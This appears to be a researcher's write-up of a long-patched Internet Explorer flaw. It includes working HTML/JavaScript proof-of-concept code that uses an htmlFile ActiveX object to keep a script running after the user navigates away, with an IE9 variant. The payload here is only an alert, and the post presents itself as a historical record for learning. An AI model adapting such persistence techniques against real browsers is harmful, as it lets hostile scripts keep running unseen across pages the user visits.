A simpler residency technique that doesn’t need a createPopup at all — just the htmlFile ActiveX and window.opener. Creating an htmlFile ActiveX, writing a setInterval script into it, and storing it in window.opener is enough to keep the script running indefinitely after the user navigates away.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Yes. Another Resident Script that is not using a createPopup or IFRAMES</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
Yes. Another Resident Script that <U>is not</U> using a createPopup or IFRAMES.<BR><BR>
top.opener=new ActiveXObject("htmlFile");<BR>
top.opener.write("<SCRIPT>setInterval('alert(\"Hello!\")',3000);<\/SCRIPT>");<BR>
top.opener.close();<BR><BR><BR>
Come on, let's go to <A HREF="http://www.google.com">Google</A> and see how the "Hello Alert" is still there.
</FONT>
<SCRIPT LANGUAGE="JavaScript">
top.opener=new ActiveXObject("htmlFile");
top.opener.write("<SCRIPT>setInterval('alert(\"Hello!\")',3000);<\/SCRIPT>");
top.opener.close();
</SCRIPT>
</BODY>
</HTML>
The htmlFile ActiveX is a document host — writing HTML into it with write() and calling close() renders and executes it. By assigning it to top.opener, the reference is kept alive in a property that persists across navigations. The three-line technique became a reliable building block for more complex resident-script attacks.
IE9 variation
A later variation confirmed the technique still worked on IE9, with a slightly cleaner self-referencing approach:
<script language="JavaScript">
function main()
{
var ax = new ActiveXObject("htmlFile"); // This returns a document object.
ax.parentWindow.ax = ax; // We save a pointer of the AX inside itself.
ax.parentWindow.setInterval("alert('I am still alive!');", 3000);
location.href = "http://www.google.com";
}
</script>
Instead of using window.opener, this version saves the reference inside the ActiveX’s own parentWindow, making it self-contained. The garbage collector can’t reclaim it because the object holds a reference to itself.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.